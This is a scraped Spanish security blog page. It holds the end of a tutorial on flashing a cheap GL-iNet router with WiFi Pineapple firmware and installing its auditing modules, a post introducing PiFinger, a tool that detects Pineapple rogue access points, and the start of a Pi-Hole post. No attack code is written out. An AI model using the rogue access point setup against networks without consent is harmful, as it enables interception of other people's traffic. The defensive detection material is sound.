¿Estábamos ante la posibilidad real de convertir un router de 25€ en una piña de 299€? Todo apuntaba a que, flasheando ese firmware y añadiendo al "engendro" una segunda antena WiFi adicional (la piña original viene con doble antena) aprovechando el puerto USB del que dispone el pequeño router podría funcionar... <br />
¿Demasiado bonito para ser verdad? Solo había una forma de comprobarlo, y es descargando el archivo bin y flasheandolo en nuestro nuevo juguete!!!</div>
<div>
<br />
<br /></div>
<h3>
Metamorfosis de un router en piña!!</h3>
<div>
<span id="goog_1839245381"></span><span id="goog_1839245382"></span>Una vez realizada la descarga del fichero bin, lo segundo que debemos hacer es conectarnos a nuestro mini router y a la interface web de gestión accediendo a través del navegador a la URL <span style="font-family: "courier new" , "courier" , monospace;">http://192.168.8.1</span> (suponiendo que haya usamos la conmfiguracion por defecto del GL-Inet) y acceder con las credenciales configuradas en la puesta en marcha del router.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja0khnIJ2FVRHYN1EYEYfS4FQjC6aVNl3FznxKSr8tHmMYjIvdZaZb0e2jUmqitb6Yx0e9FCHRCTOGAfdj-_m8c3DzTOQHThLOVnWaRCTMWtMoWp10Y9M0p_ONgO5CVqiGhwh3Dc17rxM/s1600/Selecci%25C3%25B3n_006.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="661" data-original-width="955" height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja0khnIJ2FVRHYN1EYEYfS4FQjC6aVNl3FznxKSr8tHmMYjIvdZaZb0e2jUmqitb6Yx0e9FCHRCTOGAfdj-_m8c3DzTOQHThLOVnWaRCTMWtMoWp10Y9M0p_ONgO5CVqiGhwh3Dc17rxM/s400/Selecci%25C3%25B3n_006.png" width="400" /></a></div>
<br />
<br />
Nos movemos hasta la ultima de las opciones de la columna izquierda "Firmware" para, una vez dentro, pulsar sobre el botón "Update Firmware".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl7Gg914CTvxzUwfu1VJ3rzYPvji8v3lnxB87UNJ0NagKgQ91hNGVKuBb3vvCz4lRfYOGCO7DM8Lnj17KIC24Ui-LFRRhfheh3Dmc76mB83BXGxgxryKPF1jXzSnP25FC4uELLWexVqq8/s1600/Selecci%25C3%25B3n_008.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="727" data-original-width="998" height="291" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl7Gg914CTvxzUwfu1VJ3rzYPvji8v3lnxB87UNJ0NagKgQ91hNGVKuBb3vvCz4lRfYOGCO7DM8Lnj17KIC24Ui-LFRRhfheh3Dmc76mB83BXGxgxryKPF1jXzSnP25FC4uELLWexVqq8/s400/Selecci%25C3%25B3n_008.png" width="400" /></a></div>
<br />
<br />
En la ventana de actualización veremos un espacio al que podemos arrastrar el archivo bin descargado o bien clickar dentro para seleccionar el archivo desde nuevo navegador de archivos.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgulUy3rB1Ung2W-bKsQ64X0HVnUpFKjUYwvzeu3c1aeC-0Bu62YTXs3aHNXLQtC3dIxl5lYN95a3XIlwck2xNTRmucqXyceF9lx5OY24thAa5y0PwTnBWAxMWXeKKAoQy19efKFGltNO0/s1600/Selecci%25C3%25B3n_009.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="388" data-original-width="849" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgulUy3rB1Ung2W-bKsQ64X0HVnUpFKjUYwvzeu3c1aeC-0Bu62YTXs3aHNXLQtC3dIxl5lYN95a3XIlwck2xNTRmucqXyceF9lx5OY24thAa5y0PwTnBWAxMWXeKKAoQy19efKFGltNO0/s400/Selecci%25C3%25B3n_009.png" width="400" /></a></div>
<br />
<br />
Una vez seleccionado el archivo a flashear podemos verificar la integridad del archivo con el MD5 y, <b>debemos </b>desmarcar el tildado de la opción "Keep Settings" para que todo se instale limpiamente y no arrastremos ningún resto de configuración. Pulsando sobre el botón "Upgrade" comenzaremos a flashear el dispositivo.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiMn1MPAQtFFccrOI8Zc2YWSPGcK5issdrzeBTUAjLuEmoeoE4Em7Nr4rHukIfNPaxNwFIVHjC3e6y7ugdi-uWH6Wq04nreK_90L8hjrQ6m9mhB_7QklRTdxtToCUlh-OIH6s5WptkSz8/s1600/Selecci%25C3%25B3n_010.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="364" data-original-width="719" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiMn1MPAQtFFccrOI8Zc2YWSPGcK5issdrzeBTUAjLuEmoeoE4Em7Nr4rHukIfNPaxNwFIVHjC3e6y7ugdi-uWH6Wq04nreK_90L8hjrQ6m9mhB_7QklRTdxtToCUlh-OIH6s5WptkSz8/s400/Selecci%25C3%25B3n_010.png" width="400" /></a></div>
<br />
<br />
Observaremos como avanza la barra de progreso completando la instalación<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSw1B07-jOZe82zS_l25BSbVTTIApOIHtSA85McYESfMtVG04fF2J9gjg_AZFBv1TXWIscRksdwrBbhzxxtUsELP6YSUl5Kinx7-Y63nznIFQtYzjQ8d9klcPl3fnxJsp4CCNCGFmHhFU/s1600/Selecci%25C3%25B3n_011.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="140" data-original-width="638" height="70" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSw1B07-jOZe82zS_l25BSbVTTIApOIHtSA85McYESfMtVG04fF2J9gjg_AZFBv1TXWIscRksdwrBbhzxxtUsELP6YSUl5Kinx7-Y63nznIFQtYzjQ8d9klcPl3fnxJsp4CCNCGFmHhFU/s320/Selecci%25C3%25B3n_011.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp8FQSgKZj6lIAn06jMy-iCrHIUMVHlHrSkYMf8RUonTqoXBCmXj_tatb-pABgUY2FtZ37zkPUp0TsPXD1gipcQ4F1pyCS8jOQ3dg2xoVZiXw0zvvK9WLy9d_ExIMJo0UZOaBWkgDKDkQ/s1600/Selecci%25C3%25B3n_012.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="137" data-original-width="635" height="69" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp8FQSgKZj6lIAn06jMy-iCrHIUMVHlHrSkYMf8RUonTqoXBCmXj_tatb-pABgUY2FtZ37zkPUp0TsPXD1gipcQ4F1pyCS8jOQ3dg2xoVZiXw0zvvK9WLy9d_ExIMJo0UZOaBWkgDKDkQ/s320/Selecci%25C3%25B3n_012.png" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6IUSpQqR6TRJ25LiNTC4xQEvLF5VRWIKwja9mj-2QCxkfuLLwDfa2b9Bnv63tBCI_CI8eqv6WvQzoA-Mg57YbvGeBxZ1iyumxPrLznyxtb0OSRo3Wmfx167q9ns8sY771eZvTqq8ZFZ8/s1600/Selecci%25C3%25B3n_013.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="136" data-original-width="640" height="68" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6IUSpQqR6TRJ25LiNTC4xQEvLF5VRWIKwja9mj-2QCxkfuLLwDfa2b9Bnv63tBCI_CI8eqv6WvQzoA-Mg57YbvGeBxZ1iyumxPrLznyxtb0OSRo3Wmfx167q9ns8sY771eZvTqq8ZFZ8/s320/Selecci%25C3%25B3n_013.png" width="320" /></a></div>
<br />
<br />
Después de unos minutos, el router se reiniciará por si mismo (este paso puede pasar desapercibido si no estas pendiente de ello... por lo que ne caso de dudas puedes dejarlo algunos minutos más de "cortesia".<br />
<br />
Llegados a ese punto conectamos un cable ethernet desde nuestro equipo al puerto WAN del router o bien nos conectamos a las SSiD que ya debe estar publicándose como "Pineapple_XXXX"<br />
<br />
Para después conectarnos desde el navegador a la interface web de gestión del nuevo firmware en a la URL <span style="font-family: "courier new" , "courier" , monospace;">http://172.16.42.1:1471</span> y si todo ha funcionado correctamente... nos encontraremos una agradable sorpresa en forma de Piña WiFi que nos da la bienvenida invitándonos al "Get Started"!!!<br />
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8PshlRcmQl7zsC2ztGdg76GjU7Aj3vseRTnajD2xgabJts7HL0hyphenhyphenAj3mzgNwno_eDb4WzZPaH2FfOrn0xEu01JkqGit7YEzmnMt4sRdlyVAkfeRECh0rrUzOSXiKP52lLMLkXr29bn_w/s1600/Selecci%25C3%25B3n_015.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="728" data-original-width="1020" height="285" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8PshlRcmQl7zsC2ztGdg76GjU7Aj3vseRTnajD2xgabJts7HL0hyphenhyphenAj3mzgNwno_eDb4WzZPaH2FfOrn0xEu01JkqGit7YEzmnMt4sRdlyVAkfeRECh0rrUzOSXiKP52lLMLkXr29bn_w/s400/Selecci%25C3%25B3n_015.png" width="400" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
El siguiente paso es llevar a cabo la configuración inicial de gestión de nuestra WiFi Pineapple especificando cual va a ser nuestra contraseña de root, así como la configuración del punto de acceso WiFi que va a ser nuestra piña estableciendo nosotros mismos el SSiD y la clave WPA2.<br />
También deberemos de aceptar la EULA y la licencia de software.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfu6yXtme89AZx4BjJV-6gS0n8xHPcXh48Ko10Mn10NHr1ZV1hG9c0skLmFAzYBEl4UN6_xV-g8BA632XMiG7WfNifVDoJQa15E-SdmN0aSBrRf1aNB8zb6g5GtGd7j3O6SXwfx1MdC5Y/s1600/Selecci%25C3%25B3n_017.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="683" data-original-width="736" height="370" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfu6yXtme89AZx4BjJV-6gS0n8xHPcXh48Ko10Mn10NHr1ZV1hG9c0skLmFAzYBEl4UN6_xV-g8BA632XMiG7WfNifVDoJQa15E-SdmN0aSBrRf1aNB8zb6g5GtGd7j3O6SXwfx1MdC5Y/s400/Selecci%25C3%25B3n_017.png" width="400" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
Después de rellenar todo los datos y pinchar sobre el botón inferior para confirmar configuración y aplicarla, la página se recargará y con motivo de la nueva configuración nos pedirá autenticarnos con las credenciales establecidas para root.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPW-pISBXU-bprpxXAIUE4ppnaewj24BLlvLAuPNpihn8EenMBcS5ZenUQPs3H7RxCa-e892ybtw2bx7OXov8c9u3UMF4UDchGAAto6RgbY710Qb-Hy3xsuOq9VDfwEd-hHhsRhzvJkuc/s1600/Selecci%25C3%25B3n_018.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="521" data-original-width="1016" height="205" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPW-pISBXU-bprpxXAIUE4ppnaewj24BLlvLAuPNpihn8EenMBcS5ZenUQPs3H7RxCa-e892ybtw2bx7OXov8c9u3UMF4UDchGAAto6RgbY710Qb-Hy3xsuOq9VDfwEd-hHhsRhzvJkuc/s400/Selecci%25C3%25B3n_018.png" width="400" /></a></div>
<br />
<br />
Et voilá, mes amis! Hemos convertido un router en una WiFi Pineapple funcionando en nuestras manos!!!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCB5KMu2zET5fVw6d5YRoexvcGrPb4tp180QB75ytJzJ1ozfgPceK_YZdPFUY1sXb89_whjUOIpyuswqRCG9tD00ySlQ1HOfoKf9TWvP4NDHe2uz2MDqaipljG5XBWnbj-t0grLD5pvtA/s1600/Selecci%25C3%25B3n_019.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="775" data-original-width="1020" height="302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCB5KMu2zET5fVw6d5YRoexvcGrPb4tp180QB75ytJzJ1ozfgPceK_YZdPFUY1sXb89_whjUOIpyuswqRCG9tD00ySlQ1HOfoKf9TWvP4NDHe2uz2MDqaipljG5XBWnbj-t0grLD5pvtA/s400/Selecci%25C3%25B3n_019.png" width="400" /></a></div>
<br />
<br />
<h3>
Comenzando a usar la piña</h3>
<div>
Al igual que en la WiFi Pineapple original, debemos de descargarnos e instalar aquellos módulos que se ajusten a nuestros propósitos de auditoria WiFi por supuesto en entornos de test propios, con fines meramente educativos a modo de PoC o bajo un acuerdo previo de auditoria firmado... you know!</div>
<br />
Para ello debemos de dotar de salida a internet a nuestra piña y, en mi caso, he decidido hacerlo usando la conectividad WiFi que me proporciona la segunda antena WiFi adicional que hemos mencionado más arriba que íbamos a necesitar conectada al puerto USB del AR150...<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-5FeIDf6AXDsOeenkjMuI9M25FyamH_JhUXVISb_MUW9nPdTaY-wyq7t8CViH1upecTpWjnROgvFE3uRjWORPlYCosM5QgrU8hvtm7Jsc-IAFCf534QxV4G56Uv-T2tACpvwawJegIWw/s1600/IMG_9244.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-5FeIDf6AXDsOeenkjMuI9M25FyamH_JhUXVISb_MUW9nPdTaY-wyq7t8CViH1upecTpWjnROgvFE3uRjWORPlYCosM5QgrU8hvtm7Jsc-IAFCf534QxV4G56Uv-T2tACpvwawJegIWw/s400/IMG_9244.jpg" width="400" /></a></div>
<br />
<br />
Accedemos a la interface web de gestión de la piña y en el apartado "Networking" encontraremos la sección "WiFi Client Mode" donde deberemos seleccionar la Interface <b>wlan1</b> para posteriormente configurar el acceso a la SSiD a través de la cual hacer el forwarding y darle salida a internet.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpi1LZCHB70JdO1yMYgtUwJj3szSWLaWdqwoAVclnk0R_vYuX2MkoFRqyfmHcNj9vpgIPcE060mmxdbCboZEyRLjHe7WxDlDviOeqoCk1biPhqTh69wnRkPCXcTKlLP5O4BU-uyLASuI0/s1600/18-10-2017+10-03-06.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="476" data-original-width="846" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpi1LZCHB70JdO1yMYgtUwJj3szSWLaWdqwoAVclnk0R_vYuX2MkoFRqyfmHcNj9vpgIPcE060mmxdbCboZEyRLjHe7WxDlDviOeqoCk1biPhqTh69wnRkPCXcTKlLP5O4BU-uyLASuI0/s400/18-10-2017+10-03-06.png" width="400" /></a></div>
<br />
<br />
A partir de este momento ya podemos dirigirnos al apartado "Modules" de la columna izquierda desde donde podremos llevar a cabo la descarga e instalación de los módulos que queramos utilizar.<br />
<br />
El espacio de almacenamiento del AR150 nos va a limitar en este aspecto y no nos va a permitir descargarnos todos para tenerlos dentro de nuestro juguete, pero si podemos instalar y desinstalar a nuestra conveniencia en cualquier momento los que vayamos a utilizar.<br />
<br />
Os recomiendo dedicar un tiempo a investigar en la web oficial de Hak5 y en diferentes PoCs por internet, por que la lista de módulos disponibles es bastante extensa y las opciones con cada uno de ellos son muy extensas:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggqa7QVkpVMr8W8BANVCdeejpNo2Sl-SxeKWYxtzkXz6C_nGaxQY2kcGaNnZPvbzAgY0dTqvxA3vb25sT5bgdn6reWRhpQPoi9sCzxkl-bMW5txroMkFCYIP7N2IKUB4Uj5KcOHZuyWkM/s1600/18-10-2017+11-42-30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1367" data-original-width="1070" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggqa7QVkpVMr8W8BANVCdeejpNo2Sl-SxeKWYxtzkXz6C_nGaxQY2kcGaNnZPvbzAgY0dTqvxA3vb25sT5bgdn6reWRhpQPoi9sCzxkl-bMW5txroMkFCYIP7N2IKUB4Uj5KcOHZuyWkM/s640/18-10-2017+11-42-30.png" width="499" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<span style="background-color: white; font-family: inherit;"><span style="font-family: inherit;">Espero que os haya gustado la entrada, si habéis llegado hasta aquí: MUCHAS GRACIAS por leer todo este ladrillazo!! Si os animáis a ha<span style="font-family: inherit;">cer <span style="font-family: inherit;">el proyecto y experimentar con ell<span style="font-family: inherit;">o y tenéis cualquier duda en la que pueda ayudaros no dudéis en contactarme!! </span></span></span></span></span><br />
<br style="background-color: white; font-family: Roboto, Arial, Helvetica, sans-serif;" />
<span style="background-color: white; font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;">Saludos!!!!!</span></span></span></span></span></div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com18tag:blogger.com,1999:blog-7944950214559293430.post-89470396524547136862017-09-14T20:37:00.002+02:002017-10-18T12:07:34.161+02:00PiFinger: detectando si estamos conectados a una WiFi Pineapple<div class="separator" style="clear: both; text-align: left;">
Hoy os traigo una herramienta que nos permite detectar si la red WiFi a la que estamos conectados se trata de un WiFi Pineapple (lo que todos conocemos como "una piña") y, además, mide la seguridad de dicha red (y de aquellas a las que hemos estado conectados anteriormente).</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqxp8ajXVW7uN_VPzQxmDavNSmg71jr-whqIW_Uxv0rUlKem2HTXrnT12znbe49SJ7D1TuC_n1CIkxPm_6fT1QXh1W9gL_qvVVPlecUwGvN7twq2p8GylXnONjbUbr17ZdJLaQ84seY3I/s1600/Selecci%25C3%25B3n_044.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="299" data-original-width="541" height="176" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqxp8ajXVW7uN_VPzQxmDavNSmg71jr-whqIW_Uxv0rUlKem2HTXrnT12znbe49SJ7D1TuC_n1CIkxPm_6fT1QXh1W9gL_qvVVPlecUwGvN7twq2p8GylXnONjbUbr17ZdJLaQ84seY3I/s320/Selecci%25C3%25B3n_044.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<h3 style="text-align: left;">
</h3>
<h3 style="text-align: left;">
<a name='more'></a>PiFinger, un detector de piñas</h3>
<div style="text-align: left;">
Todos los que hemos tenido en las manos una piña o la hemos visto en acción (para los que no, os dejo <a href="https://www.wifipineapple.com/" target="_blank">este link</a>) hemos podido comprobar lo sencillo que es crear una red WiFi aparentemente inofensiva pero con mucho más que ofrecer de lo que no se ve a simple vista y casi todas malvadas... seguro que todos sabéis a lo que me refiero..</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
PiFinger es una herramienta en Python creada a por el Ingeniero De Seguridad <b>Besim Altinok</b> (os dejo <a href="https://github.com/besimaltnok" target="_blank">su GitHub</a> y <a href="https://besimaltinok.com/" target="_blank">su web oficial</a>) y lo que hace es llevar a cabo una búsqueda de trazas e indicadores en la red WiFi a la que estamos conectados para determinar si el Access Point es genuino o, por el contrario, se trata de una piña.</div>
<div style="text-align: left;">
Para determinarlo PiFinger analiza algunos factores como son la MAC Address del AP, el puerto HTTP por defecto 1471, y nombres por defecto de la red emitida por las WiFi Pineapple, etc...</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Adicionalmente, PiFinger también utiliza sus propios parámetros y factores para "medir" la seguridad de esa red WiFi a la que estamos conectados y también a aquellas a las que hemos estado conectados anteriormente.</div>
<div style="text-align: left;">
<br /></div>
<h3 style="text-align: left;">
Uso de PiFinger en Linux</h3>
<div style="text-align: left;">
En primer lugar debemos <a href="https://github.com/besimaltnok/PiFinger" target="_blank">descargarnos PiFinger desde su GitHub</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBPzZoEBjQperkdzGscvgfm3Y-HWEIdKNPvwwaXk4JdZgte_NuzR9zMzPfmqdI_AKfp51LHXxEAZVchkEVfAL786ptZGo7jXvxG6Rp1ygbZ4fgwrpnzVjAtt5o9wTjitbh2k7nF42Dhp8/s1600/Selecci%25C3%25B3n_038.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="151" data-original-width="725" height="81" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBPzZoEBjQperkdzGscvgfm3Y-HWEIdKNPvwwaXk4JdZgte_NuzR9zMzPfmqdI_AKfp51LHXxEAZVchkEVfAL786ptZGo7jXvxG6Rp1ygbZ4fgwrpnzVjAtt5o9wTjitbh2k7nF42Dhp8/s400/Selecci%25C3%25B3n_038.png" width="400" /></a></div>
<br /></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
Una vez descargado y una vez en el directorio descargado en el paso anterior procedemos a descargar e instalar los requerimientos necesarios, que son algunas librerías y módulos de Python.</div>
<div class="separator" style="clear: both; text-align: left;">
Para facilitarnos esta tarea podemos utilizar el comando "<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">pip install"</span> junto al archivo de texto "<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">requeriments.txt</span>" que hay en el directorio como se muestra a continuación. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg4GZ3HHXDxB2HMSZRzL9cx4wmst_DwgYfV-MsYa7rL3lZ81siQ85pVnMennKDmh9EhE8YGx67EbFRcZQxGU33Pv1CU51fPwJ0wMo60gwM2PYwKEmzC6h4suetod5rfgKqHNwsnAmoL6M/s1600/Selecci%25C3%25B3n_039.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="278" data-original-width="729" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg4GZ3HHXDxB2HMSZRzL9cx4wmst_DwgYfV-MsYa7rL3lZ81siQ85pVnMennKDmh9EhE8YGx67EbFRcZQxGU33Pv1CU51fPwJ0wMo60gwM2PYwKEmzC6h4suetod5rfgKqHNwsnAmoL6M/s400/Selecci%25C3%25B3n_039.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<br />
Listo! Ya disponemos localmente de todo lo necesario para correr la herramienta, de modo que lanzamos la herramienta con los comandos habituales para correr programas en Python.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzHTYDZrU9xgVkaoufjzb7o3C6D_oVb_5pDsia15CFswc3lz0vRr3EkTfUxULUm5NF88CboBv529UnErjLbbB3eca-PhSehvrohgpz9Th-2yOappofpAVCv2nRpqEnr_XXEIkrtXSTwho/s1600/Selecci%25C3%25B3n_040.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="352" data-original-width="725" height="193" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzHTYDZrU9xgVkaoufjzb7o3C6D_oVb_5pDsia15CFswc3lz0vRr3EkTfUxULUm5NF88CboBv529UnErjLbbB3eca-PhSehvrohgpz9Th-2yOappofpAVCv2nRpqEnr_XXEIkrtXSTwho/s400/Selecci%25C3%25B3n_040.png" width="400" /></a></div>
<br />
<br />
La herramienta comienza su correr y nos pide nuestra interacción para indicarle cual de nuestras tarjetas de red es la wireless, o en caso de disponer de más de una, cual es la que esta conectada a la red que queremos analizar.<br />
Una vez escrito el nombre de la interface de red (wlp3s0 en nuestro caso) y pulsar ENTER, la herramienta realiza todas sus comprobaciones necesarias para la que esta diseñada.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0ILZxbFaR8Z0LevQ8AqiE6Iuhyphenhyphen2lGBZBLRu7zjfOEGQmhSJwmV3FOvJX0ufFul7YrQV7nQ5L9rMiOIDxSVlItg9yeA2pGufJBgb92_Zu1D40jSjr25gAr4z6CKg5tnkypGP-HNMiYOY8/s1600/Selecci%25C3%25B3n_041.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="714" data-original-width="600" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0ILZxbFaR8Z0LevQ8AqiE6Iuhyphenhyphen2lGBZBLRu7zjfOEGQmhSJwmV3FOvJX0ufFul7YrQV7nQ5L9rMiOIDxSVlItg9yeA2pGufJBgb92_Zu1D40jSjr25gAr4z6CKg5tnkypGP-HNMiYOY8/s400/Selecci%25C3%25B3n_041.png" width="335" /></a></div>
<br />
<br />
Al finalizar la ejecución obtendremos el resultado final, así como le evaluación de seguridad que que interpreta la herramienta.<br />
Adicionalmente la herramienta guarda un registro donde podremos consultar todos los analisis realiazos a lo largo dle tiempo. El log lo encontraremos en la ruta <span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">/var/log/wifi_scores</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgws8WNUj918Tuh0hSqMb1dl_KmC_5lindlmGs5w1bBhicejBsR1nYeXZfobnaFGvJo_gp5Ia2ndJEZk400QHUI8c7khr6qfM4IpGeRJTgayC9LEigjdNvuU9rVe4IahAKkg7RGjKWyxfA/s1600/Selecci%25C3%25B3n_042.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="61" data-original-width="599" height="40" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgws8WNUj918Tuh0hSqMb1dl_KmC_5lindlmGs5w1bBhicejBsR1nYeXZfobnaFGvJo_gp5Ia2ndJEZk400QHUI8c7khr6qfM4IpGeRJTgayC9LEigjdNvuU9rVe4IahAKkg7RGjKWyxfA/s400/Selecci%25C3%25B3n_042.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="background-color: white; font-family: inherit;"><span style="font-family: inherit;">Espero que os haya gustado la entrada y la herramienta, es sencilla pero funcional y nunca se sabe cuando podemos necesitarla<span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;">! En mi opinión siempre esta bien conocer los recursos a nuestro alcance.</span></span></span></span></span><br style="background-color: white; font-family: Roboto, Arial, Helvetica, sans-serif;" /><br style="background-color: white; font-family: Roboto, Arial, Helvetica, sans-serif;" /><span style="background-color: white; font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;"><span style="font-family: inherit;">Saludos!!!!!</span></span></span></span></span></div>
Hacker de Cabecerahttp://www.blogger.com/profile/04109447777461913594noreply@blogger.com0tag:blogger.com,1999:blog-7944950214559293430.post-74254038646050773442017-07-26T17:03:00.000+02:002017-07-26T17:03:06.558+02:00Toda nuestra red libre de Anuncios y Publicidad con solo una Raspberry + Pi-Hole Hoy vengo a hablaros de PiHole, un proyecto que esta ganando muchos asiduos por permitirnos bloquear publicidad y las molestas ventanas emergentes en todos los dispositivos de nuestra red de una manera muy sencilla y totalmente transparente desde esa Raspberry que teníamos en el cajón sin saber que uso darle! Vamos a verlo!<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
